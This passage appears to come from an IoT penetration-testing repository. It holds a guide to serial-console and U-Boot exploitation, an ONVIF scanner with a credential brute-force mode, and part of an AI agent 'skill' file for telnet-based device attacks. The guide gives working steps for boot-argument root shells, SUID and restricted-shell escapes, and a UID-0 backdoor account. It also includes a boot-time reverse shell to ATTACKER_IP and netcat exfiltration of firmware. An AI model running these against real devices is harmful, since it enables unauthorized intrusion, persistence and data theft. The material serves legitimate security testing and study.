| # Check what you're working with: 57 | ls -la /bin/sh # Often symlinked to busybox 58 | busybox --list # See available commands 59 | 60 | # Note: BusyBox commands may have limited options compared to full Linux 61 | # Example: 'ps aux' might work differently or not support all flags 62 | ``` 63 | 64 | ## Example 2: U-Boot Bootloader Exploitation 65 | 66 | **Scenario**: Device has U-Boot bootloader with accessible console during boot. 67 | 68 | **Steps**: 69 | 70 | 1. **Connect and watch boot process**: 71 | ```bash 72 | picocom -b 115200 --nolock --echo /dev/ttyUSB0 73 | ``` 74 | 75 | 2. **Interrupt boot**: 76 | - Watch for "Hit any key to stop autoboot" message 77 | - Press Space or Enter quickly to interrupt 78 | 79 | 3. **Explore U-Boot environment**: 80 | ``` 81 | U-Boot> printenv 82 | U-Boot> help 83 | U-Boot> version 84 | ``` 85 | 86 | 4. **Modify boot arguments to gain root shell**: 87 | ``` 88 | U-Boot> setenv bootargs "${bootargs} init=/bin/sh" 89 | U-Boot> boot 90 | ``` 91 | 92 | Or alternatively: 93 | ``` 94 | U-Boot> setenv bootargs "${bootargs} single" 95 | U-Boot> boot 96 | ``` 97 | 98 | 5. **Once booted with init=/bin/sh**: 99 | ```bash 100 | # Mount root filesystem as read-write 101 | mount -o remount,rw / 102 | 103 | # Mount other filesystems 104 | mount -a 105 | 106 | # Now you have root access - proceed with enumeration 107 | ``` 108 | 109 | ## Example 3: Bypassing Login Authentication 110 | 111 | **Scenario**: Device boots to a login prompt, but you don't know the credentials. 112 | 113 | **Method 1: Bootloader modification (if available)**: 114 | ``` 115 | # In U-Boot: 116 | setenv bootargs "${bootargs} init=/bin/sh" 117 | boot 118 | 119 | # Or try single user mode: 120 | setenv bootargs "${bootargs} single" 121 | boot 122 | ``` 123 | 124 | **Method 2: Default credentials**: 125 | ``` 126 | # Common IoT default credentials to try: 127 | root : root 128 | root : (empty/no password) 129 | admin : admin 130 | admin : password 131 | admin : (empty) 132 | user : user 133 | support : support 134 | ``` 135 | 136 | **Method 3: Password file examination (if you get any access)**: 137 | ```bash 138 | # Check if shadow file is readable (misconfig) 139 | cat /etc/shadow 140 | 141 | # Check for plaintext passwords in config files 142 | grep -r "password" /etc/ 2>/dev/null 143 | find / -name "*password*" -type f 2>/dev/null 144 | ``` 145 | 146 | ## Example 4: Privilege Escalation from Limited User 147 | 148 | **Scenario**: You have shell access but as a limited user, need root. 149 | 150 | **Check for SUID binaries**: 151 | ```bash 152 | find / -perm -4000 -type f 2>/dev/null 153 | ``` 154 | 155 | Common exploitable SUID binaries: 156 | ```bash 157 | # If find has SUID: 158 | find /etc -exec /bin/sh \; 159 | 160 | # If vim/vi has SUID: 161 | vim -c ':!/bin/sh' 162 | 163 | # If less has SUID: 164 | less /etc/passwd 165 | !/bin/sh 166 | 167 | # If python has SUID: 168 | python -c 'import os; os.setuid(0); os.system("/bin/sh")' 169 | 170 | # If perl has SUID: 171 | perl -e 'exec "/bin/sh";' 172 | ``` 173 | 174 | **Check sudo permissions**: 175 | ```bash 176 | sudo -l 177 | 178 | # If you can run specific commands with sudo, abuse them: 179 | # Example: sudo vim -> :!/bin/sh 180 | # Example: sudo find -> sudo find . -exec /bin/sh \; 181 | ``` 182 | 183 | **Check for writable cron jobs**: 184 | ```bash 185 | ls -la /etc/cron* 186 | crontab -l 187 | find /etc/cron* -writable 2>/dev/null 188 | 189 | # If you can write to a cron job: 190 | echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab 191 | # Wait a minute, then: 192 | /bin/sh -p # Runs as root 193 | ``` 194 | 195 | ## Example 5: Firmware Extraction 196 | 197 | **Scenario**: You have root access and want to extract firmware for offline analysis. 198 | 199 | **Step 1: Identify flash partitions**: 200 | ```bash 201 | # Check MTD partitions (most common on embedded devices) 202 | cat /proc/mtd 203 | 204 | # Example output: 205 | # dev: size erasesize name 206 | # mtd0: 00040000 00010000 "u-boot" 207 | # mtd1: 00010000 00010000 "u-boot-env" 208 | # mtd2: 00140000 00010000 "kernel" 209 | # mtd3: 00e90000 00010000 "rootfs" 210 | ``` 211 | 212 | **Step 2: Dump partitions**: 213 | ```bash 214 | # Create mount point for USB storage (if available) 215 | mkdir /mnt/usb 216 | mount /dev/sda1 /mnt/usb 217 | 218 | # Dump each partition 219 | dd if=/dev/mtd0 of=/mnt/usb/uboot.bin bs=1024 220 | dd if=/dev/mtd1 of=/mnt/usb/uboot-env.bin bs=1024 221 | dd if=/dev/mtd2 of=/mnt/usb/kernel.bin bs=1024 222 | dd if=/dev/mtd3 of=/mnt/usb/rootfs.bin bs=1024 223 | 224 | # Or dump to /tmp and transfer via network 225 | dd if=/dev/mtd3 of=/tmp/rootfs.bin bs=1024 226 | 227 | # Transfer via netcat 228 | nc 192.168.1.100 4444 < /tmp/rootfs.bin 229 | # (On attacker machine: nc -l -p 4444 > rootfs.bin) 230 | ``` 231 | 232 | **Step 3: Offline analysis**: 233 | ```bash 234 | # On your analysis machine: 235 | # Use binwalk to analyze the firmware 236 | binwalk rootfs.bin 237 | 238 | # Extract filesystem 239 | binwalk -e rootfs.bin 240 | 241 | # Or use firmware-mod-kit 242 | extract-firmware.sh rootfs.bin 243 | 244 | # Look for: 245 | # - Hardcoded credentials 246 | # - Private keys 247 | # - Vulnerable services 248 | # - Backdoors 249 | # - Outdated software versions 250 | ``` 251 | 252 | ## Example 6: Establishing Persistence 253 | 254 | **Scenario**: You have root access and want to maintain access for further testing. 255 | 256 | **Method 1: SSH Access**: 257 | ```bash 258 | # Check if SSH/Dropbear is installed 259 | which sshd dropbear 260 | 261 | # Start SSH service if not running 262 | /etc/init.d/dropbear start 263 | # or 264 | /etc/init.d/sshd start 265 | 266 | # Add your SSH public key 267 | mkdir -p /root/.ssh 268 | chmod 700 /root/.ssh 269 | echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys 270 | chmod 600 /root/.ssh/authorized_keys 271 | 272 | # Ensure SSH starts on boot 273 | update-rc.d dropbear enable 274 | # or add to /etc/rc.local 275 | ``` 276 | 277 | **Method 2: Backdoor User Account**: 278 | ```bash 279 | # Add a user with UID 0 (root equivalent) 280 | echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd 281 | 282 | # Set password 283 | passwd backdoor 284 | 285 | # Or create user without password 286 | echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd 287 | ``` 288 | 289 | **Method 3: Reverse Shell on Boot**: 290 | ```bash 291 | # Add to startup script 292 | echo '#!/bin/sh' > /etc/init.d/S99backdoor 293 | echo 'while true; do' >> /etc/init.d/S99backdoor 294 | echo ' sleep 300' >> /etc/init.d/S99backdoor 295 | echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor 296 | echo 'done &' >> /etc/init.d/S99backdoor 297 | chmod +x /etc/init.d/S99backdoor 298 | ``` 299 | 300 | ## Example 7: Escaping Restricted Shell 301 | 302 | **Scenario**: You get shell access but it's a restricted/limited shell. 303 | 304 | **Identify the restriction**: 305 | ```bash 306 | echo $SHELL 307 | echo $PATH 308 | which bash sh 309 | ``` 310 | 311 | **Common escape techniques**: 312 | 313 | 1. **Via editors**: 314 | ```bash 315 | # Vi/Vim escape 316 | vi /etc/passwd 317 | # Press ESC, then type: 318 | :!/bin/sh 319 | 320 | # Or: 321 | :set shell=/bin/sh 322 | :shell 323 | ``` 324 | 325 | 2. **Via pagers**: 326 | ```bash 327 | # Less escape 328 | less /etc/passwd 329 | !/bin/sh 330 | 331 | # More escape 332 | more /etc/passwd 333 | !/bin/sh 334 | ``` 335 | 336 | 3. **Via scripting languages**: 337 | ```bash 338 | # Python 339 | python -c 'import os; os.system("/bin/sh")' 340 | 341 | # Perl 342 | perl -e 'exec "/bin/sh";' 343 | 344 | # Ruby 345 | ruby -e 'exec "/bin/sh"' 346 | 347 | # Lua 348 | lua -e 'os.execute("/bin/sh")' 349 | ``` 350 | 351 | 4. **Via system commands**: 352 | ```bash 353 | # Find 354 | find / -name anything -exec /bin/sh \; 355 | 356 | # Awk 357 | awk 'BEGIN {system("/bin/sh")}' 358 | 359 | # Sed 360 | sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh 361 | ``` 362 | 363 | 5. **Via environment manipulation**: 364 | ```bash 365 | # If you can modify PATH 366 | export PATH=/bin:/usr/bin:/sbin:/usr/sbin 367 | 368 | # If cd is restricted, try: 369 | cd() { builtin cd "$@"; } 370 | ``` 371 | 372 | ## Example 8: Network Service Discovery 373 | 374 | **Scenario**: Enumerate network services for lateral movement. 375 | 376 | ```bash 377 | # Check listening ports 378 | netstat -tulpn 379 | ss -tulpn 380 | lsof -i -P -n 381 | 382 | # Check network connections 383 | netstat -anp 384 | ss -anp 385 | 386 | # Check ARP table (find other devices) 387 | arp -a 388 | cat /proc/net/arp 389 | 390 | # Scan local network (if tools available) 391 | nmap -sn 192.168.1.0/24 392 | 393 | # Check for common IoT services 394 | ps aux | grep -E 'http|telnet|ftp|ssh|upnp|mqtt' 395 | 396 | # Check open files and sockets 397 | lsof | grep -E 'LISTEN|ESTABLISHED' 398 | 399 | # Examine web server configs 400 | cat /etc/nginx/nginx.conf 401 | cat /etc/lighttpd/lighttpd.conf 402 | ls -la /var/www/ 403 | 404 | # Check for credentials in web files 405 | grep -r "password" /var/www/ 2>/dev/null 406 | grep -r "api_key" /var/www/ 2>/dev/null 407 | ``` 408 | 409 | ## Tips and Tricks 410 | 411 | ### Baud Rate Detection 412 | If you see garbled output, systematically try common baud rates: 413 | ```bash 414 | # Common rates in order of likelihood: 415 | 115200, 57600, 38400, 19200, 9600, 230400, 460800, 921600 416 | ``` 417 | 418 | ### Logging Everything 419 | Always log your session for documentation and later analysis: 420 | ```bash 421 | picocom -b 115200 --nolock --logfile pentest_$(date +%Y%m%d_%H%M%S).log /dev/ttyUSB0 422 | ``` 423 | 424 | ### Multiple Serial Connections 425 | If you need to monitor boot process and interact: 426 | ```bash 427 | # Terminal 1: Monitor and log 428 | picocom -b 115200 --nolock --logfile boot.log /dev/ttyUSB0 429 | 430 | # Terminal 2: Send commands 431 | echo "command" > /dev/ttyUSB0 432 | ``` 433 | 434 | ### Recovering from Broken Console 435 | If console becomes unresponsive: 436 | ```bash 437 | # Send Ctrl-C 438 | echo -ne '\003' > /dev/ttyUSB0 439 | 440 | # Send Ctrl-D (EOF) 441 | echo -ne '\004' > /dev/ttyUSB0 442 | 443 | # Reset terminal 444 | reset 445 | ``` 446 | 447 | ### Finding UART Pins on PCB 448 | If you need to locate UART on a device PCB: 449 | 1. Look for 3-5 pin headers (usually GND, TX, RX, VCC) 450 | 2. Use multimeter to find GND (continuity to ground plane) 451 | 3. Power on device and use logic analyzer or multimeter to find TX (data output) 452 | 4. RX is usually next to TX 453 | 5. Typical voltage: 3.3V or 5V (be careful not to mix!) 454 | 455 | ## Security Checklist 456 | 457 | After gaining access, systematically check: 458 | 459 | - [ ] Device identification (model, firmware version) 460 | - [ ] User accounts and permissions 461 | - [ ] Default credentials 462 | - [ ] Network configuration and services 463 | - [ ] Firewall rules 464 | - [ ] Running processes and services 465 | - [ ] Filesystem permissions (SUID, world-writable) 466 | - [ ] Cron jobs and startup scripts 467 | - [ ] Hardcoded credentials in files 468 | - [ ] SSH keys and certificates 469 | - [ ] Web interfaces and APIs 470 | - [ ] Known CVEs for installed software 471 | - [ ] Bootloader security 472 | - [ ] Firmware extraction 473 | - [ ] Backdoor installation possibilities 474 | - [ ] Lateral movement opportunities 475 | - [ ] Data exfiltration vectors 476 | 477 | ## Common Vulnerabilities Found in IoT Devices 478 | 479 | 1. **Default Credentials**: Many devices ship with unchanged default passwords 480 | 2. **Hardcoded Credentials**: Passwords embedded in firmware 481 | 3. **Weak Authentication**: No password or easily guessable passwords 482 | 4. **Insecure Services**: Telnet, FTP running with root access 483 | 5. **Outdated Software**: Old kernel versions with known exploits 484 | 6. **SUID Misconfiguration**: Unnecessary SUID binaries 485 | 7. **World-Writable Files**: Critical system files with wrong permissions 486 | 8. **Unsecured Bootloader**: U-Boot without password protection 487 | 9. **No Firmware Signature Verification**: Can flash custom firmware 488 | 10. **Information Disclosure**: Verbose error messages, exposed configs 489 | -------------------------------------------------------------------------------- /tools/iothackbot/onvifscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | from colorama import init, Fore, Style 4 | from .core.onvifscan_core import OnvifScanTool 5 | from .core.interfaces import ConfigBuilder, OutputFormatter, ToolConfig, ToolResult 6 | 7 | class OnvifScanOutputFormatter(OutputFormatter): 8 | """Custom output formatter for onvifscan results.""" 9 | 10 | def __init__(self, verbose=False): 11 | self.verbose = verbose 12 | 13 | def format_result(self, result: 'ToolResult', format_type: str) -> str: 14 | """Override to handle verbose output.""" 15 | if format_type == 'json': 16 | return self._format_json(result) 17 | elif format_type == 'text': 18 | return self._format_text(result) 19 | elif format_type == 'quiet': 20 | return self._format_quiet(result) 21 | else: 22 | return self._format_text(result) 23 | 24 | def _format_text(self, result: 'ToolResult') -> str: 25 | """Format onvifscan results as human-readable text.""" 26 | if not result.success: 27 | return "\n".join(result.errors) 28 | 29 | if not result.data: 30 | return "No scan data available." 31 | 32 | lines = [] 33 | data = result.data 34 | 35 | # Check if this is an auth scan result (has security_issues) or other result 36 | if 'security_issues' in data: 37 | # Auth scan result 38 | mode = "comprehensive" if result.metadata.get('test_all', False) else "standard" 39 | lines.append(Fore.BLUE + f"ONVIF unauthenticated access test completed ({mode} mode)" + Fore.RESET) 40 | lines.append(Fore.CYAN + f"Target: {result.metadata.get('target_url', 'Unknown')}" + Fore.RESET) 41 | lines.append("") 42 | 43 | # Security issues summary 44 | security_issues = data.get('security_issues', []) 45 | if security_issues: 46 | lines.append(Fore.RED + f"SECURITY ISSUES FOUND: {len(security_issues)}" + Fore.RESET) 47 | for issue in security_issues: 48 | lines.append(Fore.RED + f" - {issue['name']}: {issue['result']}" + Fore.RESET) 49 | lines.append("") 50 | 51 | # Results by status code 52 | lines.append(Fore.BLUE + "SUMMARY BY RESPONSE CODE:" + Fore.RESET) 53 | lines.append("=" * 60) 54 | 55 | results_by_status = data.get('results_by_status', {}) 56 | all_results = data.get('all_results', []) 57 | 58 | # Sort status codes 59 | def sort_key(code): 60 | if code == "SKIPPED": 61 | return -1 62 | elif code == "ERROR": 63 | return 999 64 | elif isinstance(code, int): 65 | return code 66 | else: 67 | return 1000 68 | 69 | sorted_codes = sorted(results_by_status.keys(), key=sort_key) 70 | 71 | for status_code in sorted_codes: 72 | requests_for_code = results_by_status[status_code] 73 | lines.append(Fore.CYAN + f"Status {status_code}: {len(requests_for_code)} requests" + Fore.RESET) 74 | 75 | for result_item in sorted(requests_for_code, key=lambda x: x["name"]): 76 | # Color based on result type 77 | if result_item.get("security_issue", False): 78 | color = Fore.RED 79 | elif "secure" in result_item["result"] or "unauthenticated by design" in result_item["result"]: 80 | color = Fore.GREEN 81 | else: 82 | color = Fore.YELLOW 83 | 84 | auth_indicator = "[AUTH]" if result_item["auth_required"] else "[OPEN]" 85 | lines.append(f" {color}{auth_indicator} {result_item['name']}: {result_item['result']}{Fore.RESET}") 86 | 87 | # Add verbose output - full response content 88 | if self.verbose and "response_content" in result_item and result_item["response_content"]: 89 | lines.append(Fore.MAGENTA + f" Response Content:" + Fore.RESET) 90 | # Split responses for readability (no truncation in verbose mode) 91 | content = result_item["response_content"] 92 | lines.extend([f" {line}" for line in content.split('\n') if line.strip()]) 93 | lines.append("") 94 | 95 | lines.append("") 96 | else: 97 | # Other scan results (brute) 98 | scan_type = result.metadata.get('scan_type', 'unknown') 99 | lines.append(Fore.BLUE + f"ONVIF {scan_type} scan completed" + Fore.RESET) 100 | lines.append(Fore.CYAN + f"Target: {result.metadata.get('target_url', result.metadata.get('input_path', 'Unknown'))}" + Fore.RESET) 101 | lines.append("") 102 | 103 | # Display results based on type 104 | if 'brute_results' in data: 105 | lines.append(Fore.YELLOW + "BRUTE FORCE RESULTS:" + Fore.RESET) 106 | lines.append(data['brute_results']) 107 | 108 | lines.append("") 109 | 110 | return "\n".join(lines) 111 | 112 | def _format_json(self, result: 'ToolResult') -> str: 113 | """Format onvifscan results as JSON.""" 114 | import json 115 | return json.dumps(result.data, indent=2, default=str) 116 | 117 | def _format_quiet(self, result: 'ToolResult') -> str: 118 | """Quiet output - just security issues.""" 119 | if not result.success: 120 | return "" 121 | 122 | data = result.data 123 | security_issues = data.get('security_issues', []) 124 | if security_issues: 125 | lines = [f"SECURITY ISSUE: {issue['name']} - {issue['result']}" for issue in security_issues] 126 | return "\n".join(lines) 127 | return "" 128 | 129 | 130 | def run_auth_scan(config: 'ToolConfig') -> 'ToolResult': 131 | """Run the authentication scan (existing functionality).""" 132 | tool = OnvifScanTool() 133 | return tool.run(config) 134 | 135 | def run_brute(config: 'ToolConfig') -> 'ToolResult': 136 | """Run credential brute-forcing on auth-required endpoints.""" 137 | import os 138 | import time 139 | import requests 140 | 141 | # Load wordlists 142 | wordlists_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'wordlists') 143 | usernames_file = config.custom_args.get('usernames_file', os.path.join(wordlists_dir, 'onvif-usernames.txt')) 144 | passwords_file = config.custom_args.get('passwords_file', os.path.join(wordlists_dir, 'onvif-passwords.txt')) 145 | 146 | if not os.path.exists(usernames_file) or not os.path.exists(passwords_file): 147 | return ToolResult( 148 | success=False, 149 | data={}, 150 | errors=["Wordlist files not found"], 151 | metadata={"scan_type": "brute force", "target_url": config.input_path} 152 | ) 153 | 154 | with open(usernames_file, 'r') as f: 155 | usernames = [line.strip() for line in f if line.strip()] 156 | with open(passwords_file, 'r') as f: 157 | passwords = [line.strip() for line in f if line.strip()] 158 | 159 | # First run auth scan to find endpoints requiring authentication 160 | auth_result = run_auth_scan(config) 161 | if not auth_result.success or 'all_results' not in auth_result.data: 162 | return ToolResult( 163 | success=False, 164 | data={}, 165 | errors=["Failed to run authentication scan"], 166 | metadata={"scan_type": "brute force", "target_url": config.input_path} 167 | ) 168 | 169 | # Find endpoints that require auth (401 responses) 170 | auth_required_endpoints = [] 171 | for result in auth_result.data['all_results']: 172 | if result.get('status_code') == 401 and result.get('endpoint'): 173 | auth_required_endpoints.append(result['endpoint']) 174 | 175 | if not auth_required_endpoints: 176 | return ToolResult( 177 | success=True, 178 | data={"brute_results": "No endpoints requiring authentication found"}, 179 | metadata={"scan_type": "brute force", "target_url": config.input_path, "tested_endpoints": 0} 180 | ) 181 | 182 | # Brute force each endpoint 183 | successful_logins = [] 184 | tested_combinations = 0 185 | max_attempts = 20 # Reduce limit to prevent overwhelming device 186 | 187 | for endpoint in auth_required_endpoints[:1]: # Test only first endpoint to reduce load 188 | for username in usernames[:5]: # Limit usernames for safety 189 | for password in passwords[:5]: # Limit passwords for safety 190 | if tested_combinations >= max_attempts: 191 | break 192 | 193 | # Try Digest first (more common for ONVIF), then Basic 194 | for auth_method in ['digest', 'basic']: 195 | if tested_combinations >= max_attempts: 196 | break 197 | 198 | try: 199 | if auth_method == 'basic': 200 | auth = requests.auth.HTTPBasicAuth(username, password) 201 | else: 202 | auth = requests.auth.HTTPDigestAuth(username, password) 203 | 204 | # Send a basic GetDeviceInformation request (works on most ONVIF endpoints) 205 | soap_body = ''' 206 | 207 | 208 | 209 | 210 | ''' 211 | 212 | response = requests.post( 213 | endpoint, 214 | auth=auth, 215 | data=soap_body, 216 | timeout=5, 217 | headers={"Content-Type": "application/soap+xml; charset=utf-8"} 218 | ) 219 | 220 | tested_combinations += 1 221 | 222 | if response.status_code == 200: 223 | successful_logins.append({ 224 | "endpoint": endpoint, 225 | "username": username, 226 | "password": password, 227 | "auth_method": auth_method 228 | }) 229 | break # Found working creds, no need to try other method 230 | 231 | # Delay to prevent overwhelming the device 232 | time.sleep(0.5) 233 | 234 | except requests.RequestException: 235 | continue 236 | 237 | if tested_combinations >= max_attempts: 238 | break 239 | if tested_combinations >= max_attempts: 240 | break 241 | 242 | result_message = f"Tested {tested_combinations} credential combinations (with Basic/Digest auth) on {len(auth_required_endpoints)} endpoints" 243 | if successful_logins: 244 | result_message += f"\nSUCCESSFUL LOGINS FOUND: {len(successful_logins)}" 245 | for login in successful_logins: 246 | result_message += f"\n - {login['endpoint']}: {login['username']}:{login['password']} ({login['auth_method']} auth)" 247 | else: 248 | result_message += "\nNo successful logins found" 249 | 250 | return ToolResult( 251 | success=True, 252 | data={"brute_results": result_message, "successful_logins": successful_logins}, 253 | metadata={ 254 | "scan_type": "brute force", 255 | "target_url": config.input_path, 256 | "tested_endpoints": len(auth_required_endpoints), 257 | "tested_combinations": tested_combinations, 258 | "successful_logins": len(successful_logins) 259 | } 260 | ) 261 | 262 | def onvifscan(): 263 | """Main CLI entry point with subcommands.""" 264 | parser = argparse.ArgumentParser(description="ONVIF Security Scanner") 265 | subparsers = parser.add_subparsers(dest='command', required=True, help="Available commands") 266 | 267 | # Auth subcommand (existing functionality) 268 | auth_parser = subparsers.add_parser('auth', help="Run authentication checks") 269 | auth_parser.add_argument("url", help="Base URL of the ONVIF device") 270 | auth_parser.add_argument("-v", "--verbose", action="store_true", help="Show full response content") 271 | auth_parser.add_argument("-a", "--all", action="store_true", help="Test all endpoints including destructive") 272 | auth_parser.add_argument("--format", choices=['text', 'json', 'quiet'], default='text', help="Output format") 273 | 274 | # Brute subcommand 275 | brute_parser = subparsers.add_parser('brute', help="Run credential brute-forcing") 276 | brute_parser.add_argument("url", help="Base URL of the ONVIF device") 277 | brute_parser.add_argument("--usernames", help="Path to usernames wordlist (default: built-in onvif-usernames.txt)") 278 | brute_parser.add_argument("--passwords", help="Path to passwords wordlist (default: built-in onvif-passwords.txt)") 279 | brute_parser.add_argument("--format", choices=['text', 'json', 'quiet'], default='text', help="Output format") 280 | 281 | args = parser.parse_args() 282 | init() # Initialize colorama 283 | 284 | # Normalize URL - prepend http:// if no scheme is provided 285 | url = args.url 286 | if not url.startswith(('http://', 'https://')): 287 | url = f"http://{url}" 288 | 289 | # Build base config 290 | config = ToolConfig( 291 | input_paths=[url], 292 | output_format=args.format, 293 | verbose=getattr(args, 'verbose', False), 294 | custom_args={'all': getattr(args, 'all', False)} 295 | ) 296 | 297 | # Execute based on subcommand 298 | if args.command == 'auth': 299 | result = run_auth_scan(config) 300 | elif args.command == 'brute': 301 | if hasattr(args, 'usernames') and args.usernames: 302 | config.custom_args['usernames_file'] = args.usernames 303 | if hasattr(args, 'passwords') and args.passwords: 304 | config.custom_args['passwords_file'] = args.passwords 305 | result = run_brute(config) 306 | else: 307 | parser.print_help() 308 | return 1 309 | 310 | # Format and output result 311 | formatter = OnvifScanOutputFormatter(verbose=config.verbose) 312 | output = formatter.format_result(result, config.output_format) 313 | if output: 314 | print(output) 315 | 316 | return 0 if result.success else 1 317 | -------------------------------------------------------------------------------- /.claude/skills/telnetshell/examples.md: -------------------------------------------------------------------------------- 1 | # Telnetshell Skill Examples 2 | 3 | This document provides practical, real-world examples of using the telnetshell skill for IoT device penetration testing. 4 | 5 | ## Table of Contents 6 | 7 | 1. [Basic Reconnaissance](#basic-reconnaissance) 8 | 2. [Complete Device Enumeration](#complete-device-enumeration) 9 | 3. [Security Assessment](#security-assessment) 10 | 4. [Firmware Extraction](#firmware-extraction) 11 | 5. [Persistence Establishment](#persistence-establishment) 12 | 6. [Network Analysis](#network-analysis) 13 | 7. [Data Exfiltration](#data-exfiltration) 14 | 8. [Post-Exploitation](#post-exploitation) 15 | 16 | --- 17 | 18 | ## Basic Reconnaissance 19 | 20 | ### Example 1: Initial Device Identification 21 | 22 | ```bash 23 | # Quick system check 24 | python3 .claude/skills/telnetshell/telnet_helper.py \ 25 | --host 192.168.1.100 \ 26 | --port 2222 \ 27 | --command "uname -a" 28 | 29 | # Output: 30 | # Linux GM 3.3.0 #8 PREEMPT Sun Nov 27 23:01:06 PST 2016 armv5tel unknown 31 | ``` 32 | 33 | ### Example 2: Checking for BusyBox 34 | 35 | ```bash 36 | # Identify BusyBox version and available applets 37 | python3 .claude/skills/telnetshell/telnet_helper.py \ 38 | --host 192.168.1.100 \ 39 | --port 2222 \ 40 | --command "busybox | head -5" 41 | ``` 42 | 43 | ### Example 3: Multiple Quick Commands 44 | 45 | ```bash 46 | # Create a quick check script 47 | cat > quick_check.txt <<'EOF' 48 | hostname 49 | uname -a 50 | cat /proc/version 51 | df -h 52 | EOF 53 | 54 | # Run it 55 | python3 .claude/skills/telnetshell/telnet_helper.py \ 56 | --host 192.168.1.100 \ 57 | --port 2222 \ 58 | --script quick_check.txt 59 | ``` 60 | 61 | --- 62 | 63 | ## Complete Device Enumeration 64 | 65 | ### Example 4: Full System Enumeration 66 | 67 | ```bash 68 | # Run all enumeration scripts and save results 69 | DEVICE="192.168.1.100" 70 | PORT="2222" 71 | OUTPUT_DIR="./enum_results" 72 | 73 | mkdir -p "$OUTPUT_DIR" 74 | 75 | # System info 76 | python3 .claude/skills/telnetshell/telnet_helper.py \ 77 | --host "$DEVICE" \ 78 | --port "$PORT" \ 79 | --script .claude/skills/telnetshell/enum_system.txt \ 80 | --json > "$OUTPUT_DIR/system.json" 81 | 82 | # Network info 83 | python3 .claude/skills/telnetshell/telnet_helper.py \ 84 | --host "$DEVICE" \ 85 | --port "$PORT" \ 86 | --script .claude/skills/telnetshell/enum_network.txt \ 87 | --json > "$OUTPUT_DIR/network.json" 88 | 89 | # File system 90 | python3 .claude/skills/telnetshell/telnet_helper.py \ 91 | --host "$DEVICE" \ 92 | --port "$PORT" \ 93 | --script .claude/skills/telnetshell/enum_files.txt \ 94 | --json > "$OUTPUT_DIR/files.json" 95 | 96 | # Security 97 | python3 .claude/skills/telnetshell/telnet_helper.py \ 98 | --host "$DEVICE" \ 99 | --port "$PORT" \ 100 | --script .claude/skills/telnetshell/enum_security.txt \ 101 | --json > "$OUTPUT_DIR/security.json" 102 | 103 | echo "Enumeration complete. Results saved to $OUTPUT_DIR/" 104 | ``` 105 | 106 | ### Example 5: Automated Enumeration Report 107 | 108 | ```bash 109 | # Create a comprehensive enumeration script 110 | cat > full_enum.sh <<'EOF' 111 | #!/bin/bash 112 | 113 | DEVICE="$1" 114 | PORT="${2:-2222}" 115 | HELPER="python3 .claude/skills/telnetshell/telnet_helper.py" 116 | 117 | echo "=========================================" 118 | echo "IoT Device Enumeration Report" 119 | echo "Target: $DEVICE:$PORT" 120 | echo "Date: $(date)" 121 | echo "=========================================" 122 | echo 123 | 124 | echo "[+] System Information" 125 | $HELPER --host "$DEVICE" --port "$PORT" --command "uname -a" 126 | $HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/cpuinfo | grep -E '(model|Hardware|Revision)'" 127 | echo 128 | 129 | echo "[+] Network Configuration" 130 | $HELPER --host "$DEVICE" --port "$PORT" --command "ifconfig | grep -E '(inet|ether)'" 131 | echo 132 | 133 | echo "[+] Running Processes" 134 | $HELPER --host "$DEVICE" --port "$PORT" --command "ps aux | head -20" 135 | echo 136 | 137 | echo "[+] Listening Services" 138 | $HELPER --host "$DEVICE" --port "$PORT" --command "netstat -tulpn" 139 | echo 140 | 141 | echo "[+] User Accounts" 142 | $HELPER --host "$DEVICE" --port "$PORT" --command "cat /etc/passwd" 143 | echo 144 | 145 | echo "=========================================" 146 | echo "Enumeration Complete" 147 | echo "=========================================" 148 | EOF 149 | 150 | chmod +x full_enum.sh 151 | ./full_enum.sh 192.168.1.100 2222 > device_report.txt 152 | ``` 153 | 154 | --- 155 | 156 | ## Security Assessment 157 | 158 | ### Example 6: Finding SUID Binaries 159 | 160 | ```bash 161 | # Search for SUID binaries (privilege escalation vectors) 162 | python3 .claude/skills/telnetshell/telnet_helper.py \ 163 | --host 192.168.1.100 \ 164 | --port 2222 \ 165 | --timeout 10 \ 166 | --command "find / -perm -4000 -type f 2>/dev/null" 167 | ``` 168 | 169 | ### Example 7: Checking for Hardcoded Credentials 170 | 171 | ```bash 172 | # Search configuration files for passwords 173 | cat > search_creds.txt <<'EOF' 174 | grep -r "password" /etc/ 2>/dev/null 175 | grep -r "passwd" /etc/ 2>/dev/null 176 | find / -name "*password*" 2>/dev/null 177 | find / -name "*credential*" 2>/dev/null 178 | find / -name "*.key" 2>/dev/null 179 | find / -name "*.pem" 2>/dev/null 180 | EOF 181 | 182 | python3 .claude/skills/telnetshell/telnet_helper.py \ 183 | --host 192.168.1.100 \ 184 | --port 2222 \ 185 | --timeout 15 \ 186 | --script search_creds.txt > credentials_search.txt 187 | ``` 188 | 189 | ### Example 8: Testing for Writable System Files 190 | 191 | ```bash 192 | # Find world-writable files and directories 193 | python3 .claude/skills/telnetshell/telnet_helper.py \ 194 | --host 192.168.1.100 \ 195 | --port 2222 \ 196 | --timeout 20 \ 197 | --command "find /etc /bin /sbin -writable 2>/dev/null" 198 | ``` 199 | 200 | --- 201 | 202 | ## Firmware Extraction 203 | 204 | ### Example 9: Identifying MTD Partitions 205 | 206 | ```bash 207 | # Check MTD partitions (common on IoT devices) 208 | python3 .claude/skills/telnetshell/telnet_helper.py \ 209 | --host 192.168.1.100 \ 210 | --port 2222 \ 211 | --command "cat /proc/mtd" 212 | 213 | # Example output: 214 | # dev: size erasesize name 215 | # mtd0: 00040000 00010000 "u-boot" 216 | # mtd1: 00300000 00010000 "kernel" 217 | # mtd2: 00c00000 00010000 "rootfs" 218 | ``` 219 | 220 | ### Example 10: Extracting Firmware via Network 221 | 222 | ```bash 223 | # On attacker machine: Set up listener 224 | nc -lvp 4444 > firmware.bin 225 | 226 | # On target device via telnet: 227 | python3 .claude/skills/telnetshell/telnet_helper.py \ 228 | --host 192.168.1.100 \ 229 | --port 2222 \ 230 | --timeout 30 \ 231 | --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444" 232 | ``` 233 | 234 | ### Example 11: 